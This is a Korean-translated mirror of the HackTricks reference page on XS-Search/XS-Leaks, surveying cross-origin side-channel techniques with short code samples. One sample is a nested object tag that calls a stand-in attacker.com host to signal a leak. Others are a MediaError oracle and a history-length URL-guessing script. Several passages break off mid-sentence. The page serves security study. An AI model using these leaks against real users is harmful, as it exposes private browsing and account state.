Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 05:03:35 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/xs-search.md
Translator workflow 1d9d380da0 Translated to Korean
2024-02-10 21:30:13 +00:00

80 KiB
Raw Blame History

XS-Search/XS-Leaks

Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구를 활용한 워크플로우를 쉽게 구축하고 자동화할 수 있습니다.
오늘 바로 액세스하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

기본 정보

XS-Search는 사이드 채널 취약점을 활용하여 교차 출처 정보를 추출하는 방법입니다.

이 공격에 관련된 주요 구성 요소는 다음과 같습니다:

  • 취약한 웹: 정보를 추출하려는 대상 웹 사이트입니다.
  • 공격자의 웹: 피해자가 방문하는 악성 웹 사이트로, 공격자가 생성하고 악용합니다.
  • 포함 방법: 취약한 웹을 공격자의 웹에 통합하는 데 사용되는 기술입니다(예: window.open, iframe, fetch, href가 있는 HTML 태그 등).
  • 유출 기술: 포함 방법을 통해 수집된 정보를 기반으로 취약한 웹의 상태 차이를 구별하는 데 사용되는 기술입니다.
  • 상태: 공격자가 구별하려는 취약한 웹의 두 가지 잠재적인 상태입니다.
  • 감지 가능한 차이점: 공격자가 취약한 웹의 상태를 추론하는 데 의존하는 관찰 가능한 변화입니다.

감지 가능한 차이점

취약한 웹의 상태를 구별하기 위해 여러 가지 측면을 분석할 수 있습니다:

  • 상태 코드: 교차 출처에서 다양한 HTTP 응답 상태 코드를 구별하여 서버 오류, 클라이언트 오류 또는 인증 오류 등을 확인합니다.
  • API 사용: 페이지 간에 Web API 사용을 식별하여 교차 출처 페이지가 특정 JavaScript Web API를 사용하는지 여부를 확인합니다.
  • 리디렉션: HTTP 리디렉션뿐만 아니라 JavaScript 또는 HTML에 의해 트리거되는 다른 페이지로의 이동을 감지합니다.
  • 페이지 콘텐츠: HTTP 응답 본문이나 페이지 하위 리소스(예: 포함된 프레임 수 또는 이미지의 크기 차이)에서 변화를 관찰합니다.
  • HTTP 헤더: 특정 HTTP 응답 헤더(예: X-Frame-Options, Content-Disposition, Cross-Origin-Resource-Policy 등)의 존재 또는 값 여부를 확인합니다.
  • 타이밍: 두 상태 간에 일관된 시간 차이를 인지합니다.

포함 방법

  • HTML 요소: HTML은 스타일시트, 이미지 또는 스크립트와 같은 교차 출처 리소스 포함을 위한 다양한 요소를 제공하며, 브라우저에게 비-HTML 리소스를 요청하도록 합니다. 이를 위한 잠재적인 HTML 요소 컴필레이션은 https://github.com/cure53/HTTPLeaks에서 찾을 수 있습니다.
  • 프레임: iframe, object, embed와 같은 요소는 HTML 리소스를 공격자의 페이지에 직접 포함시킬 수 있습니다. 페이지에 프레임 보호 기능이 없는 경우, JavaScript는 framed 리소스의 window 객체에 contentWindow 속성을 통해 액세스할 수 있습니다.
  • 팝업: window.open 메서드는 자원을 새 탭이나 창에 열어 JavaScript가 SOP를 따르는 방법과 속성과 상호 작용할 수 있도록 합니다. 팝업은 주로 단일 로그인에 사용되며 대상 리소스의 프레임 및 쿠키 제한을 우회합니다. 그러나 현대적인 브라우저는 팝업 생성을 특정 사용자 동작으로 제한합니다.
  • JavaScript 요청: JavaScript는 XMLHttpRequests 또는 Fetch API를 사용하여 대상 리소스에 직접 요청할 수 있습니다. 이러한 메서드는 HTTP 리디렉션을 따를지 여부와 같이 요청에 대한 정확한 제어를 제공합니다.

유출 기술

  • 이벤트 핸들러: XS-Leaks에서의 고전적인 유출 기술로, onload 및 onerror와 같은 이벤트 핸들러가 리소스 로딩 성공 또는 실패에 대한 정보를 제공합니다.
  • 오류 메시지: JavaScript 예외 또는 특수 오류 페이지는 오류 메시지 자체에서 또는 존재 여부의 차이점을 통해 유출 정보를 제공할 수 있습니다.
  • 전역 제한: 메모리 용량 또는 기타 강제적인 브라우저 제한과 같은 브라우저의 물리적 제한은 한계에 도달했을 때 신호를 보내 유출 기술로 사용될 수 있습니다.
  • 전역 상태: 브라우저의 전역 상태(예: History 인터페이스)와의 감지 가능한 상호 작용을 악용할 수 있습니다. 예를 들어, 브라우저의 히스토리에 있는 항목 수는 교차 출처 페이지에 대한 단서를 제공할 수 있습니다.
  • 성능 API: 이 API는 현재 페이지의 성능 세부 정보를 제공하며, 문서 및 로드된 리소스에 대한 네트워크 타이밍을 포함하여 요청된 리소스에 대한 추론을 가능하게 합니다.
  • 읽기 가능한 속성: 일부 HTML 속성은 교차 출처에서 읽을 수 있으며 유출 기술로 사용될 수 있습니다. 예를 들어, window.frame.length 속성을 사용하여 JavaScript가 웹 페이지에 포함된 프레임을 계산할 수 있습니다.

XSinator 도구 및 논문

XSinator는 **여러 가지 알려진 XS-Leaks에

타이밍 기반 기법

다음 기법 중 일부는 웹 페이지의 가능한 상태의 차이를 감지하기 위해 타이밍을 사용합니다. 웹 브라우저에서 시간을 측정하는 다양한 방법이 있습니다.

시계: performance.now() API를 사용하면 개발자가 고해상도 타이밍 측정을 얻을 수 있습니다.
공격자는 암시적인 시계를 만들기 위해 남용할 수 있는 상당한 수의 API가 있습니다: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS 애니메이션 등이 있습니다.
자세한 정보: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

이벤트 핸들러 기법

Onload/Onerror

{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %} cookie-bomb-+-onerror-xs-leak.md {% endcontent-ref %}

코드 예시는 JS에서 스크립트 객체를 로드하려고 시도하지만, 객체, 스타일시트, 이미지, 오디오 등과 같은 다른 태그도 사용할 수 있습니다. 게다가 태그를 직접 삽입하고 태그 내에서 onload 및 onerror 이벤트를 선언하는 것도 가능합니다 (JS에서 삽입하는 대신).

이 공격의 스크립트 없는 버전도 있습니다:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

이 경우에는 example.com/404을 찾을 수 없으면 attacker.com/?error가 로드됩니다.

Onload Timing

{% content-ref url="xs-search/performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}

Onload Timing + Forced Heavy Task

이 기술은 이전과 마찬가지로 공격자가 답변이 긍정적인지 부정적인지에 따라 관련된 시간이 걸리도록 강제로 어떤 동작을 수행하고 그 시간을 측정합니다.

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}

unload/beforeunload Timing

리소스를 가져오는 데 걸리는 시간은 unload 및 beforeunload 이벤트를 활용하여 측정할 수 있습니다. beforeunload 이벤트는 브라우저가 새로운 페이지로 이동하기 직전에 발생하며, unload 이벤트는 실제로 탐색이 진행되는 동안 발생합니다. 이 두 이벤트 사이의 시간 차이를 계산하여 브라우저가 리소스를 가져오는 데 소요한 지속 시간을 결정할 수 있습니다.

Sandboxed Frame Timing + onload

Framing Protections이 없는 경우, 페이지와 하위 리소스가 네트워크를 통해 로드되는 데 걸리는 시간을 공격자가 측정할 수 있다는 것이 관찰되었습니다. 이 측정은 일반적으로 iframe의 onload 핸들러가 리소스 로딩 및 JavaScript 실행이 완료된 후에만 트리거되기 때문에 가능합니다. 스크립트 실행으로 인해 도입되는 변동성을 우회하기 위해 공격자는 <iframe> 내에서 sandbox 속성을 사용할 수 있습니다. 이 속성을 포함하면 JavaScript 실행을 비롯한 여러 기능이 제한되므로, 주로 네트워크 성능에 영향을 많이 받는 측정이 가능해집니다.

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + 오류 + onload

  • 포함 방법: 프레임
  • 감지 가능한 차이점: 페이지 콘텐츠
  • 더 많은 정보:
  • 요약: 올바른 콘텐츠에 액세스할 때 페이지에 오류를 발생시키고 어떤 콘텐츠든 올바르게 로드되면 시간을 측정하지 않고 모든 정보를 추출하기 위해 루프를 만들 수 있습니다.
  • 코드 예시:

비밀 콘텐츠가 포함된 페이지를 iframe 안에 삽입할 수 있다고 가정해 봅시다.

Iframe을 사용하여 희생자가 "flag"를 포함하는 파일을 검색하도록 할 수 있습니다(예: CSRF를 이용). Iframe 안에서는 _onload 이벤트_가 항상 한 번 이상 실행될 것입니다. 그런 다음 URL의 해시 부분만 변경하여 iframe의 URL을 변경할 수 있습니다.

예를 들어:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

첫 번째 URL이 성공적으로 로드되었다면 URL의 해시 부분을 변경하더라도 onload 이벤트는 다시 트리거되지 않습니다. 그러나 페이지가 로드될 때 어떤 종류의 오류가 있었다면 onload 이벤트가 다시 트리거될 것입니다.

그럼으로써 올바르게 로드된 페이지와 액세스할 때 오류가 있는 페이지를 구별할 수 있습니다.

Javascript 실행

  • 포함 방법: 프레임
  • 감지 가능한 차이점: 페이지 콘텐츠
  • 더 많은 정보:
  • 요약: 페이지가 민감한 콘텐츠를 반환하거나 사용자가 제어할 수 있는 콘텐츠를 반환하는 경우, 사용자는 부정적인 경우에 유효한 JS 코드를 설정하고 각 시도를 <script> 태그 안에 로드할 수 있으므로 부정적인 경우 공격자의 코드가 실행되고 긍정적인 경우 아무것도 실행되지 않습니다.
  • 코드 예시:

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}

CORB - Onerror

  • 포함 방법: HTML 요소
  • 감지 가능한 차이점: 상태 코드 및 헤더
  • 더 많은 정보: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • 요약: **Cross-Origin Read Blocking (CORB)**는 Spectre와 같은 공격으로부터 보호하기 위해 웹 페이지에서 특정 민감한 교차 출처 리소스를 로드하지 못하도록 하는 보안 조치입니다. 그러나 공격자는 이 보호 동작을 악용할 수 있습니다. CORB에 따라 응답이 반환되면서 CORB 보호 Content-Type과 nosniff 및 2xx 상태 코드가 포함된 경우, CORB는 응답의 본문과 헤더를 제거합니다. 이를 관찰하는 공격자는 상태 코드(성공 또는 오류를 나타냄)와 Content-Type(CORB로 보호되는지 여부를 나타냄)의 조합을 추론하여 잠재적인 정보 누출을 야기할 수 있습니다.
  • 코드 예시:

공격에 대한 자세한 정보는 더 많은 정보 링크를 확인하십시오.

onblur

iframe 안에 페이지를 로드하고 **#id_value**를 사용하여 iframe의 요소에 포커스를 맞출 수 있습니다. 그런 다음 onblur 신호가 트리거되면 ID 요소가 존재합니다.
portal 태그를 사용하여 동일한 공격을 수행할 수 있습니다.

postMessage 방송

  • 포함 방법: 프레임, 팝업
  • 감지 가능한 차이점: API 사용
  • 더 많은 정보: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • 요약: postMessage에서 민감한 정보를 수집하거나 postMessage의 존재를 오라클로 사용하여 사용자의 페이지 상태를 알 수 있습니다.
  • 코드 예시: 모든 postMessage를 수신 대기하는 코드.

응용 프로그램은 종종 서로 다른 출처 간에 통신하기 위해 postMessage 방송을 사용합니다. 그러나 이 방법은 targetOrigin 매개변수를 올바르게 지정하지 않으면 민감한 정보를 무심코 노출시킬 수 있습니다. 또한 메시지를 수신하는 행위 자체가 오라클로 작용할 수 있습니다. 예를 들어, 특정 메시지는 로그인한 사용자에게만 전송될 수 있습니다. 따라서 이러한 메시지의 존재 여부는 사용자의 상태나 신원과 관련된 정보(인증된 상태인지 여부 등)를 알려줄 수 있습니다.

Trickest를 사용하여 세계에서 가장 고급스러운 커뮤니티 도구로 구동되는 워크플로우를 쉽게 구축하고 자동화할 수 있습니다.
오늘 바로 액세스하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

전역 제한 기법

WebSocket API

대상 페이지가 WebSocket 연결 수를 사용하는지, 그리고 얼마나 많은 WebSocket 연결을 사용하는지 식별할 수 있습니다. 이를 통해 공격자는 응용 프로그램 상태를 감지하고 WebSocket 연결 수와 관련된 정보를 누출시킬 수 있습니다.

한 출처가 WebSocket 연결 개체의

결제 API

이 XS-Leak은 다른 출처 페이지가 결제 요청을 시작할 때 감지할 수 있도록 합니다.

하나의 결제 요청만 활성화될 수 있기 때문에 대상 웹사이트가 결제 요청 API를 사용하는 경우, 이 API를 사용하여 추가적인 시도를 표시하면 실패하고 JavaScript 예외가 발생합니다. 공격자는 주기적으로 결제 API UI를 표시하려는 시도를 시도함으로써 이를 악용할 수 있습니다. 한 번의 시도가 예외를 발생시키면 대상 웹사이트가 현재 사용 중인 것입니다. 공격자는 UI 생성 후 즉시 UI를 닫음으로써 이러한 주기적인 시도를 숨길 수 있습니다.

이벤트 루프의 타이밍

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

JavaScript는 단일 스레드 이벤트 루프 동시성 모델에서 작동하므로 한 번에 하나의 작업만 실행할 수 있습니다. 이 특성을 악용하여 다른 출처의 코드가 실행되는 데 걸리는 시간을 측정할 수 있습니다. 공격자는 고정된 속성을 가진 이벤트를 지속적으로 디스패치함으로써 이벤트 루프에서 자신의 코드의 실행 시간을 측정할 수 있습니다. 이러한 이벤트는 이벤트 풀이 비어 있을 때 처리됩니다. 다른 출처도 동일한 풀에 이벤트를 디스패치하는 경우, 공격자는 자신의 작업의 실행 지연을 관찰하여 외부 이벤트의 실행 시간을 추론할 수 있습니다. 이벤트 루프를 지연시키기 위해 이벤트의 실행 시간을 모니터링하는 이 방법을 통해 다른 출처의 코드의 실행 시간을 알 수 있으며, 이는 민감한 정보를 노출시킬 수 있습니다.

{% hint style="warning" %} 실행 시간 측정에서 네트워크 요소를 제거하여 더 정확한 측정을 얻을 수 있습니다. 예를 들어, 페이지를 로드하기 전에 페이지에서 사용하는 리소스를 로드하는 방법입니다. {% endhint %}

바쁜 이벤트 루프

  • 포함 방법:
  • 감지 가능한 차이점: 타이밍 (일반적으로 페이지 콘텐츠, 상태 코드로 인한)
  • 더 많은 정보: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • 요약: 웹 작업의 실행 시간을 측정하는 한 가지 방법은 의도적으로 스레드의 이벤트 루프를 차단한 다음 이벤트 루프가 다시 사용 가능해지는 데 걸리는 시간을 측정하는 것입니다. 이벤트 루프에 차단 작업(긴 계산 또는 동기 API 호출과 같은)을 삽입하고 이후 코드가 실행되기까지 걸리는 시간을 모니터링함으로써 이벤트 루프에서 차단 기간 동안 실행되던 작업의 지속 시간을 추론할 수 있습니다. 이 기술은 JavaScript의 이벤트 루프의 단일 스레드 특성을 활용하며, 작업이 순차적으로 실행되는 이벤트 루프와 동일한 스레드를 공유하는 다른 작업의 성능이나 동작에 대한 통찰력을 제공할 수 있습니다.
  • 코드 예시:

이벤트 루프를 잠그고 실행 시간을 측정하는 기술의 중요한 장점은 사이트 격리를 우회할 수 있는 잠재력입니다. 사이트 격리는 다른 웹사이트를 별도의 프로세스로 분리하여 악성 사이트가 다른 사이트의 중요한 데이터에 직접 액세스하는 것을 방지하기 위한 보안 기능입니다. 그러나 공유 이벤트 루프를 통해 다른 출처의 실행 타이밍에 영향을 주는 것을 통해 공격자는 해당 출처의 활동에 대한 정보를 간접적으로 추출할 수 있습니다. 이 방법은 다른 출처의 데이터에 직접적인 액세스를 필요로하지 않고, 공유 이벤트 루프에 대한 해당 출처의 활동의 영향을 관찰함으로써 사이트 격리에 의해 설정된 보호 장벽을 회피합니다.

{% hint style="warning" %} 실행 시간 측정에서 네트워크 요소를 제거하여 더 정확한 측정을 얻을 수 있습니다. 예를 들어, 페이지를 로드하기 전에 페이지에서 사용하는 리소스를 로드하는 방법입니다. {% endhint %}

연결 풀

  • 포함 방법: JavaScript 요청
  • 감지 가능한 차이점: 타이밍 (일반적으로 페이지 콘텐츠, 상태 코드로 인한)
  • 더 많은 정보: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • 요약: 공격자는 1개의 소켓을 제외한 모든 소켓을 잠그고 대상 웹을 로드한 동시에 다른 페이지를 로드합니다. 마지막 페이지가 로드를 시작하는 데 걸리는 시간은 대상 페이지가 로드되는 데 걸린 시간입니다.
  • 코드 예시:

{% content-ref url="xs-search/connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}

브라우저는 서버 통신을 위해 소켓을 사용하지만 운영 체제 및 하드웨어의 제한된 자원으로 인해 브라우저는 동시 소켓의 수를 제한해야 합니다. 공격자는 다음 단계를 통해 이 제한을 악용할 수 있습니다:

  1. 브라우저의 소켓 제한을 확인합니다. 예를 들어, 전역 소켓 256개입니다.
  2. 연결을 완료하지 않고 연결을 유지하는 255개의

성능 API 기법

Performance API는 웹 애플리케이션의 성능 지표에 대한 통찰력을 제공하며, Resource Timing API에 의해 더욱 향상됩니다. Resource Timing API를 통해 네트워크 요청의 지속 시간과 같은 자세한 네트워크 요청 타이밍을 모니터링할 수 있습니다. 특히, 서버가 응답에 Timing-Allow-Origin: * 헤더를 포함하는 경우, 전송 크기와 도메인 조회 시간과 같은 추가 데이터를 사용할 수 있습니다.

이러한 다양한 데이터는 performance.getEntries 또는 performance.getEntriesByName와 같은 메서드를 통해 검색할 수 있으며, 성능 관련 정보를 포괄적으로 제공합니다. 또한, API는 performance.now()에서 얻은 타임스탬프 간의 차이를 계산하여 실행 시간을 측정하는 데 도움을 줍니다. 그러나 Chrome과 같은 브라우저에서는 performance.now()의 정밀도가 밀리초로 제한될 수 있으므로 타이밍 측정의 세분성에 영향을 줄 수 있음을 유의해야 합니다.

타이밍 측정 이외에도, 성능 API는 보안 관련 통찰력을 활용할 수 있습니다. 예를 들어, Chrome의 performance 객체에 페이지가 포함되어 있는지 여부는 X-Frame-Options의 적용을 나타낼 수 있습니다. 특히, X-Frame-Options로 인해 프레임에서 렌더링이 차단된 페이지는 performance 객체에 기록되지 않으므로 페이지의 프레임 정책에 대한 미묘한 단서를 제공합니다.

에러 누출

에러로 인해 발생하는 요청은 성능 항목을 생성하지 않기 때문에 HTTP 응답 상태 코드를 구별할 수 있습니다.

스타일 다시로드 에러

이전 기법에서는 GC의 브라우저 버그로 인해 로드에 실패한 리소스가 두 번 로드되는 경우를 식별했습니다. 이로 인해 성능 API에 여러 항목이 생성되어 감지할 수 있습니다.

요청 병합 에러

이 기법은 언급된 논문의 표에서 발견되었지만, 기법에 대한 설명은 찾을 수 없었습니다. 그러나 https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak에서 해당 기법을 확인할 수 있는 소스 코드를 찾을 수 있습니다.

빈 페이지 누출

공격자는 요청이 빈 HTTP 응답 본문으로 인해 결과가 반환되었는지 여부를 감지할 수 있습니다. 일부 브라우저에서는 빈 페이지는 성능 항목을 생성하지 않기 때문입니다.

XSS-Auditor 누출

보안 어설션(SA)에서는 Cross-Site Scripting (XSS) 공격을 방지하기 위해 원래 XSS Auditor를 사용할 수 있지만, 이 기능은 Google Chrome (GC)에서 제거되었지만 SA에는 여전히 존재합니다. 2013년에 Braun과 Heiderich는 XSS Auditor가 실수로 정당한 스크립트를 차단하여 잘못된 양성 결과를 초래할 수 있다는 것을 입증했습니다. 이를 바탕으로 연구자들은 정보를 추출하고 크로스 오리진 페이지에서 특정 콘텐츠를 감지하는 기술을 개발했습니다. 이를 XS-Leaks라고 하는 개념은 Terada에 의해 최초로 보고되었으며, Heyes가 블로그 게시물에서 자세히 설명했습니다. 이러한 기술은 GC의 XSS Auditor에 특화되어 있었지만, SA에서는 XSS Auditor에 의해 차단된 페이지가 성능 API에 항목을 생성하지 않는 것이 발견되어 민감한 정보가 누출될 수 있는 방법이 드러났습니다.

X-Frame 누출

Redirect Start Leak

일부 브라우저의 동작을 악용하는 XS-Leak 인스턴스를 발견했습니다. 표준은 크로스 오리진 리소스에 대해 일부 속성을 0으로 설정해야 한다고 정의합니다. 그러나 SA에서는 Performance API를 쿼리하고 redirectStart 타이밍 데이터를 확인함으로써 대상 페이지에 의해 사용자가 리디렉션되었는지 여부를 감지할 수 있습니다.

Duration Redirect Leak

GC에서 리디렉션이 발생하는 요청의 지속 시간은 음수이므로 리디렉션이 발생하지 않는 요청과 구별할 수 있습니다.

CORP Leak

일부 경우에는 nextHopProtocol 항목을 누출 기법으로 사용할 수 있습니다. GC에서는 CORP 헤더가 설정되면 nextHopProtocol이 비어 있게 됩니다. SA는 CORP가 활성화된 리소스에 대해 전혀 성능 항목을 생성하지 않습니다.

Service Worker

서비스 워커는 출처에서 실행되는 이벤트 기반 스크립트 컨텍스트입니다. 웹 페이지의 백그라운드에서 실행되며 오프라인 웹 애플리케이션을 만들기 위해 리소스를 가로채고 수정하고 캐시할 수 있습니다.
서비스 워커에 의해 캐시된 리소스가 iframe을 통해 액세스되면 리소스는 서비스 워커 캐시에서 로드됩니다.
리소스가 서비스 워커 캐시에서 로드되었는지 여부를 확인하기 위해 Performance API를 사용할 수 있습니다.
이는 타이밍 공격으로도 수행할 수 있습니다(자세한 내용은 논문 참조).

Cache

Performance API를 사용하여 리소스가 캐시되었는지 확인할 수 있습니다.

Network Duration

오류 메시지 기법

Media Error

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}

MediaError 인터페이스의 message 속성은 고유한 문자열로 성공적으로 로드된 리소스를 식별합니다. 공격자는 이 기능을 악용하여 메시지 내용을 관찰함으로써 교차 출처 리소스의 응답 상태를 추론할 수 있습니다.

CORS 오류

이 기법을 통해 공격자는 Webkit 기반 브라우저가 CORS 요청을 처리하는 방식을 악용하여 교차 출처 사이트의 리디렉션 대상을 추출할 수 있습니다. 구체적으로, 사용자 상태에 따라 리디렉션을 발생시키는 대상 사이트로 CORS가 활성화된 요청이 전송되고 브라우저가 이 요청을 거부하는 경우, 오류 메시지 내에서 리디렉션 대상의 전체 URL이 공개됩니다. 이 취약점은 리디렉션 사실뿐만 아니라 리디렉션의 엔드포인트와 포함된 민감한 쿼리 매개변수도 노출시킵니다.

SRI 오류

공격자는 상세한 오류 메시지를 악용하여 교차 출처 응답의 크기를 추론할 수 있습니다. 이는 서브리소스 무결성(SRI) 메커니즘 때문에 가능한데, 이는 자주 CDN에서 가져오는 리소스가 조작되지 않았는지를 확인하기 위해 무결성 속성을 사용합니다. SRI가 교차 출처 리소스에서 작동하려면 이들이 CORS가 활성화되어야 하며, 그렇지 않으면 무결성 검사의 대상이 되지 않습니다. 보안 주장(SA)에서는 CORS 오류 XS-Leak과 마찬가지로 무결성 속성에 잘못된 해시 값을 할당하여 이 오류를 의도적으로 트리거할 수 있습니다. SA에서는 결과적으로 발생하는 오류 메시지가 요청된 리소스의 콘텐츠 길이를 무심코 노출시킵니다. 이 정보 누출로 인해 공격자는 응답 크기의 변화를 알아낼 수 있으며, 이는 정교한 XS-Leak 공격을 위한 기반을 마련합니다.

CSP 위반/감지

XS-Leak는 CSP를 사용하여 교차 출처 사이트가 다른 출처로 리디렉트되었는지 여부를 감지할 수 있습니다. 이 정보 누출은 리디렉트를 감지할 수 있을 뿐만 아니라 리디렉트 대상의 도메인도 노출시킵니다. 이 공격의 기본 아이디어는 공격자 사이트에서 대상 도메인을 허용하는 것입니다. 대상 도메인으로 요청이 발생하면 이는 교차 출처 도메인으로 리디렉트됩니다. CSP는 이에 대한 액세스를 차단하고 누출 기법으로 사용되는 위반 보고서를 생성합니다. 브라우저에 따라 이 보고서가 리디렉트의 대상 위치를 노출시킬 수 있습니다.
현대적인 브라우저는 리디렉트된 URL을 표시하지 않지만, 여전히 교차 출처 리디렉트가 트리거되었는지는 감지할 수 있습니다.

캐시

브라우저는 모든 웹사이트에 대해 하나의 공유 캐시를 사용할 수 있습니다. 출처에 관계없이 대상 페이지가 특정 파일을 요청했는지 여부를 추론할 수 있습니다.

사용자가 로그인한 경우에만 이미지를 로드하는 페이지의 경우, 리소스를 무효화하여 캐시에서 제거할 수 있습니다(캐시에 있었다면). 그런 다음 해당 리소스를 로드할 수 있는 요청을 수행하고 잘못된 요청을 사용하여 리소스를 로드하려고 시도합니다(예: 너무 긴 referer 헤더 사용). 리소스 로드가 오류를 트리거하지 않은 경우, 이는 리소스가 캐시되었기 때문입니다.

CSP 지시문

CORB

공격에 대한 자세한 정보는 링크를 확인하세요.

CORS 오류로 인한 Origin Reflection 구성 오류

만약 Origin 헤더가 Access-Control-Allow-Origin 헤더에 반영된다면, 공격자는 이 동작을 악용하여 리소스를 CORS 모드로 가져올 수 있습니다. 에러가 발생하지 않으면 리소스가 웹에서 올바르게 검색되었음을 의미하고, 에러가 발생하면 캐시에서 액세스되었음을 의미합니다 (에러는 캐시가 원래 도메인을 허용하는 CORS 헤더로 응답을 저장하기 때문에 발생합니다).
Origin이 반영되지 않고 와일드카드(Access-Control-Allow-Origin: *)가 사용된 경우에는 이 방법이 작동하지 않습니다.

Readable Attributes 기법

Fetch Redirect

Fetch API를 사용하여 redirect: "manual" 및 기타 매개변수로 요청을 제출하면 response.type 속성을 읽을 수 있으며, 이 값이 opaqueredirect와 같으면 응답이 리디렉션된 것입니다.

COOP

공격자는 교차 출처 HTTP 응답에서 Cross-Origin Opener Policy (COOP) 헤더의 존재를 추론할 수 있습니다. COOP은 웹 애플리케이션에서 외부 사이트가 임의의 창 참조를 얻는 것을 방지하기 위해 사용됩니다. 이 헤더의 가시성은 contentWindow 참조에 액세스를 시도함으로써 확인할 수 있습니다. COOP이 조건적으로 적용되는 경우 opener 속성은 식별자가 됩니다: COOP이 활성화되면 정의되지 않고, COOP이 비활성화되면 정의됩니다.

URL 최대 길이 - 서버 측

서버 측 리디렉션에서 리디렉션 내부에 사용자 입력과 추가 데이터를 사용하는 경우 이 동작을 감지할 수 있습니다. 일반적으로 서버는 요청 길이 제한을 가지고 있기 때문에 이 동작을 감지할 수 있습니다. 사용자 데이터가 해당 길이 - 1인 경우, 리디렉션이 해당 데이터를 사용하고 추가적인 것을 추가하기 때문에 오류 이벤트를 통해 감지됩니다.

사용자에게 쿠키를 설정할 수 있는 경우, 충분한 쿠키를 설정하여 이 공격을 수행할 수도 있습니다 (쿠키 폭탄). 이 경우 정상 응답의 크기가 증가하면 오류가 발생합니다. 이 경우, 동일한 사이트에서 이 요청을 트리거하는 경우 <script>가 자동으로 쿠키를 전송하기 때문에 오류를 확인할 수 있습니다.
쿠키 폭탄 + XS-Search의 예는 다음 링크에서 찾을 수 있습니다: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

이 유형의 공격에는 일반적으로 SameSite=None 또는 동일한 컨텍스트가 필요합니다.

URL 최대 길이 - 클라이언트 측

최대 리디렉션 횟수

브라우저의 최대 리디렉션 횟수가 20인 경우, 공격자는 19번의 리디렉션을 시도한 후에 마지막으로 피해자를 테스트된 페이지로 보낼 수 있습니다. 오류가 발생하면 페이지가 피해자를 리디렉션하려고 했음을 의미합니다.

히스토리 길이

History API는 JavaScript 코드가 브라우저 히스토리를 조작할 수 있도록 하며, 이는 사용자가 방문한 페이지를 저장합니다. 공격자는 length 속성을 포함 방법으로 사용하여 JavaScript 및 HTML 탐색을 감지할 수 있습니다.
history.length을 확인하고 사용자를 페이지로 이동시킨 다음, 동일 출처로 변경하고 **history.length**의 새로운 값을 확인합니다.

동일한 URL을 가진 히스토리 길이

  • 포함 방법: 프레임, 팝업
  • 감지 가능한 차이: URL이 추측한 URL과 동일한지 여부
  • 요약: 히스토리 길이를 악용하여 프레임/팝업의 위치가 특정 URL에 있는지 추측할 수 있습니다.
  • 코드 예시: 아래

공격자는 JavaScript 코드를 사용하여 프레임/팝업 위치를 추측한 URL로 조작한 다음 즉시 about:blank로 변경할 수 있습니다. 히스토리 길이가 증가하면 URL이 올바르다는 것을 의미하며, URL이 동일한 경우에는 다시로드되지 않기 때문에 시간이 충분히 있었기 때문에 증가합니다. 증가하지 않으면 추측한 URL을 로드하려고 시도했지만, 즉시 **about:blank**를 로드했기 때문에 추측한 URL을 로드할 때 히스토리 길이가 증가하지 않았습니다.

async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

프레임 카운팅

iframe 또는 window.open을 통해 열린 웹의 프레임 수를 세는 것은 사용자의 페이지 상태를 식별하는 데 도움이 될 수 있습니다.
또한, 페이지에 항상 동일한 수의 프레임이 있는 경우, 프레임 수를 지속적으로 확인하여 정보를 누설할 수 있는 패턴을 식별하는 데 도움이 될 수 있습니다.

